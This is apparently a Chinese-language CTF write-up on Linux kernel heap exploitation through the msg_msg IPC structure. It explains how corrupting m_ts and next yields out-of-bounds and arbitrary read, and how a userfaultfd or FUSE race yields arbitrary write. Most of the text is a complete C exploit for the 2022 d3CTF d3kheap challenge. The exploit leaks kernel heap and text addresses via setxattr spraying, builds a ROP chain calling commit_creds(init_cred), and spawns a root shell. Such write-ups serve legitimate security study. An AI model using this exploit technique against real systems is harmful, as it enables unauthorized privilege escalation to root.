利用msg_msg实现任意地址读写msgsnd和msgrcv的源码分析内核通过msgsnd和msgrcv来进行IPC通信 。内核消息分为两个部分 ， 一个是消息头msg_msg(0x30)，以及后面跟着的消息数据 。整个内核消息的长度是从kmalloc-64到kmalloc-4096` 。
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts;/* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */};msgsnd发送数据调用链及方法调用链：通过msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()来分配消息头和消息的数据，接着通过load_msg() -> copy_from_user()来将用户数据拷贝进内核 。
使用方法：例如我们想要发送一个包含0x1000个'A'的消息，代码如下：
struct msgbuf{long mtype;char mtext[0x1000];} msg;msg.mtype = 1;memset(msg.mtext, 'A', sizeof(msg.mtext));qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));msgsnd(qid, &msg, sizeof(msg.mtext), 0);此外如果消息长度超过0xfd0，那么就会采取分段储存的方式，采用单向链表进行连接 。第一个称作消息头，用msg_msg结构进行储存，第二个和第三个称作segment ， 用msg_msgseg结构进行储存 。消息的最大长度由/proc/sys/kernel/msgmax确定，默认大小为8192个字节 ， 所以最多连接三个成员 。
msgrcv接收数据的调用链及方法【利用msg_msg实现任意地址读写】调用链msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg() 。通过find_msg来定位消息，并将消息从队列中unlink，再调用do_msg_fill() -> store_msg()来将消息从内核空间拷贝到用户空间，最后调用free_msg释放消息 。
使用方法：例如我们想要接收一个包含0x1000个'A'的消息，代码如下：
void *memdump = malloc(0x1000);msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);此外值得注意的是：如果用flag:MSG_COPY来调用msgrcv()，就会调用prepare_copy()分配临时消息，并调用copy_msg()将请求的数据拷贝到该临时消息 。在将消息拷贝到用户空间之后，原始消息会被保留，不会从队列中unlink，而是直接goto out_unlock0，然后调用free_msg()删除该临时消息，有些题目中这一点对于利用很重要 。为什么？因为有些题目漏洞在UAF的时候，没有泄露正确地址，所以会破坏msg_msg->m_list双链表指针，unlink会触发崩溃 。如果某漏洞可以跳过前16字节，那就不需要注意这一点 。
数据泄露越界读取数据在拷贝数据的时候，我们对数据长度的判断主要是依靠msg_msg->m_ts 。所以我们可以想到如果我们可以控制某一个消息的msg_msg使得msg_msg->m_ts被改为一个较大的数，那么我们就能够实现越界读取数据 。
任意地址读取对于大于0xfd0的数据，内核会在msg_msg的基础上再加上msg_msgseg结构体，形成一个单向链表，如果我们能够同时控制msg_msg->m_ts及msg_msg->next，我们便可以实现任意地址读 。但是这里需要注意的是，无论我们采用MSG_COPY还是常规消息接收，拷贝消息的主要依据还是msg_msg->next，所以为了避免遍历消息时出现访存崩溃 ， 实现对特定地址以后数据的读?。?我们需使得segment的前8字节为NULL 。
任意地址写我们可以通过结合userfaultfd或者FUSE实现race condition 。当我们在调用msgsnd 系统调用时，其会继续调用load_msg将用户数据拷贝到内核空间中 。它会先调用alloc_msg分配msg_msg的单向链表，之后才会进行数据的拷贝过程 。所以这里的空间分配和数据拷贝实际上是分开进行的 。故我们不难想到 ， 在拷贝时利用userfaultfd或者FUSE将拷贝停止下来，并在子进程中篡改msg_msg->next，恢复拷贝后即可向我们篡改后的地址上写入数据，从而实现任意地址写 。
例题：2022d3CTF-d3heapexp：(对着arttnba3师傅的exp改了改)
#define _GNU_SOURCE#include <fcntl.h>#include <pthread.h>#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/socket.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/xattr.h>#include <unistd.h>#include <sys/ioctl.h>#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0#define INIT_CRED 0xffffffff82c6d580#define COMMIT_CREDS 0xffffffff810d25c0#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0#define POP_RDI_RET 0xffffffff810938f0#define SECONDARY_STARTUP_64 0xffffffff81000040size_t user_cs, user_ss, user_sp, user_rflags;size_t kernel_offset, kernel_base = 0xffffffff81000000;size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;int fd;int pipe_fd, pipe_fd1[2], pipe_fd2[2];void ErrExit(char* err_msg){ puts(err_msg); exit(-1);}void add(){ ioctl(fd, 0x1234);}void delete(){ ioctl(fd, 0xdead);}void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );printf("\033[34m\033[1m[+] save the state success!\033[0m\n");}void get_shell(){ if (getuid() == 0) {printf("\033[32m\033[1m[+] get root shell !\033[0m\n");system("/bin/sh");//char *shell = "/bin/sh";//char *args[] = {shell, NULL};//execve(shell, args, NULL); } else {printf("\033[31m\033[1m[-] get shell error !\033[0m\n");exit(0); }}size_t kernelLeakQuery(size_t kernel_text_leak){ size_t kernel_offset = 0xdeadbeef; switch (kernel_text_leak & 0xfff) {case 0x6e9:kernel_offset = kernel_text_leak - 0xffffffff812b76e9;break;case 0x980:kernel_offset = kernel_text_leak - 0xffffffff82101980;break;case 0x440:kernel_offset = kernel_text_leak - 0xffffffff82e77440;break;case 0xde7:kernel_offset = kernel_text_leak - 0xffffffff82411de7;break;case 0x4f0:kernel_offset = kernel_text_leak - 0xffffffff817894f0;break;case 0xc90:kernel_offset = kernel_text_leak - 0xffffffff833fac90;break;case 0x785:kernel_offset = kernel_text_leak - 0xffffffff823c3785;break;case 0x990:kernel_offset = kernel_text_leak - 0xffffffff810b2990;break;case 0x900:kernel_offset = kernel_text_leak - 0xffffffff82e49900;break;case 0x8b4:kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;break;case 0xc40:kernel_offset = kernel_text_leak - 0xffffffff8204ac40;break;case 0x320:kernel_offset = kernel_text_leak - 0xffffffff8155c320;break;case 0xee0:kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;break;case 0x5e0:kernel_offset = kernel_text_leak - 0xffffffff810e55e0;break;case 0xe80:kernel_offset = kernel_text_leak - 0xffffffff82f05e80;break;case 0x260:kernel_offset = kernel_text_leak - 0xffffffff82ec0260;break;default:puts("[-] fill up your dict!");break; } if ((kernel_offset % 0x100000) != 0)kernel_offset = 0xdeadbeef; return kernel_offset;}typedef struct{ long mtype; char mtext[1];}msg;struct list_head{ struct list_head *next, *prev;};/* one msg_msg structure for each message */struct msg_msg{ struct list_head m_list; long m_type; size_t m_ts;/* message text size */ void *next;/* struct msg_msgseg *next; */ void *security;/* NULL without SELinux */ /* the actual message follows immediately */};int main(){ size_t *buf; size_t kernel_heap_leak; size_t kernel_heap_search; size_t kernel_text_leak; size_t page_offset_base_guess; size_t msg_offset, msg_offset_count; size_t fake_ops_addr, fake_ops_offset, kmsg_addr; int kmsg_idx; int ms_qid[0x100]; int ret; cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(0, sizeof(cpu_set), &cpu_set); save_status(); buf = (size_t*)malloc(0x4000); memset(buf, 0, 0x4000); fd = open("/dev/d3kheap", O_RDONLY); if(fd < 0)ErrExit("[-] open d3heap error"); add(); delete(); for (int i = 0; i < 5; i++) {ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);if (ms_qid[i] < 0){puts("[x] msgget!");return -1;} } for (int i = 0; i < 5; i++) {memset(buf, 'A'+i, 0X1000 - 8);ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);if (ret < 0){puts("[x] msgsnd!");return -1;} } delete(); memset(buf, 'B', 0x1000); ((struct msg_msg*) buf)->m_list.next = NULL; ((struct msg_msg*) buf)->m_list.prev = NULL; ((struct msg_msg*) buf)->m_type = 0; ((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30; ((struct msg_msg*) buf)->next = NULL; ((struct msg_msg*) buf)->security = NULL; setxattr("/exp", "FXC", buf, 1024-0x30, 0); ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0)ErrExit("[-] msgrcv error"); for (int i = 0; i < ((0x1000 - 0x30) / 8); i++) {printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30))){printf("\033[32m\033[1m[+] We got heap leak! kheap: 0x%lx\033[0m\n", buf[i]);kernel_heap_leak = buf[i];kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');fake_ops_offset = i * 8 + 0x30 - 8;}if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak){printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);kernel_offset = kernelLeakQuery(buf[i]);printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);if (kernel_offset != 0xdeadbeef){kernel_text_leak = buf[i];kernel_base += kernel_offset;}}if (kernel_text_leak && kernel_heap_leak)break; } if (!kernel_heap_leak)ErrExit("\033[31m\033[1m[-] Failed to leak kernel heap!\033[0m\n"); //if (!kernel_text_leak) // ErrExit("\033[31m\033[1m[-] Failed to leak kernel text!\033[0m\n"); ((struct msg_msg*) buf)->m_list.next = NULL; ((struct msg_msg*) buf)->m_list.prev = NULL; ((struct msg_msg*) buf)->m_type = 0; ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8; ((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8 ((struct msg_msg*) buf)->security = NULL; setxattr("/exp", "FXC", buf, 1024-0x30, 0); ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0)ErrExit("[-] msgrcv error"); kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1]; fake_ops_addr = kmsg_addr - fake_ops_offset; printf("\033[32m\033[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx\033[0m\n", fake_ops_addr, kmsg_idx, kmsg_addr); kernel_heap_search = kmsg_addr - 8; for (int leaking_times = 0; !kernel_text_leak; leaking_times++) {printf("[*] per leaking, no.%d time(s)\n", leaking_times);((struct msg_msg*) buf)->m_list.next = NULL;((struct msg_msg*) buf)->m_list.prev = NULL;((struct msg_msg*) buf)->m_type = 0;((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;((struct msg_msg*) buf)->next = (void*)kernel_heap_search;((struct msg_msg*) buf)->security = NULL;setxattr("/exp", "FXC", buf, 1024-0x30, 0);printf("[*] Now searching: 0x%lx\n", kernel_heap_search);ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);if (ret < 0)ErrExit("[-] msgrcv error");msg_offset_count = 0;msg_offset = 0xdeadbeefbad4f00d;for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++){printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak){printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);kernel_offset = kernelLeakQuery(buf[i]);if (kernel_offset != 0xdeadbeef){kernel_text_leak = buf[i];kernel_base += kernel_offset;break;}}if (!buf[i])msg_offset = msg_offset_count * 8;msg_offset_count++;}if (kernel_text_leak)break;if (msg_offset == 0xdeadbeefbad4f00d)ErrExit("[-] Failed to find next valid foothold!");kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL } printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset); printf("\033[32m\033[1m[+] kernel base: 0x%lx\033[0m\n", kernel_base); ((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass ((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search; ((struct msg_msg*) buf)->m_type = 0; ((struct msg_msg*) buf)->m_ts = 1024 - 0x30; ((struct msg_msg*) buf)->next = NULL; ((struct msg_msg*) buf)->security = NULL; // while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg setxattr("/exp", "FXC", buf, 1024-0x30, 0); ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg if (ret < 0)ErrExit("[-] msgrcv error"); ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A if (ret < 0)ErrExit("[-] msgrcv error"); pipe(pipe_fd1); pipe_fd = pipe_fd1[1]; pipe(pipe_fd2); memset(buf, 'B', 0x1000); buf[2] = fake_ops_addr; buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret // construct ROP int rop_idx = 4; buf[rop_idx++] = POP_RDI_RET + kernel_offset; buf[rop_idx++] = INIT_CRED + kernel_offset; buf[rop_idx++] = COMMIT_CREDS + kernel_offset; buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset; buf[rop_idx++] = 0; buf[rop_idx++] = 0; buf[rop_idx++] = (size_t)get_shell; buf[rop_idx++] = user_cs; buf[rop_idx++] = user_rflags; buf[rop_idx++] = user_sp; buf[rop_idx++] = user_ss; setxattr("/exp", "FXC", buf, 1024-0x30, 0); close(pipe_fd1[0]); close(pipe_fd1[1]); return 0;}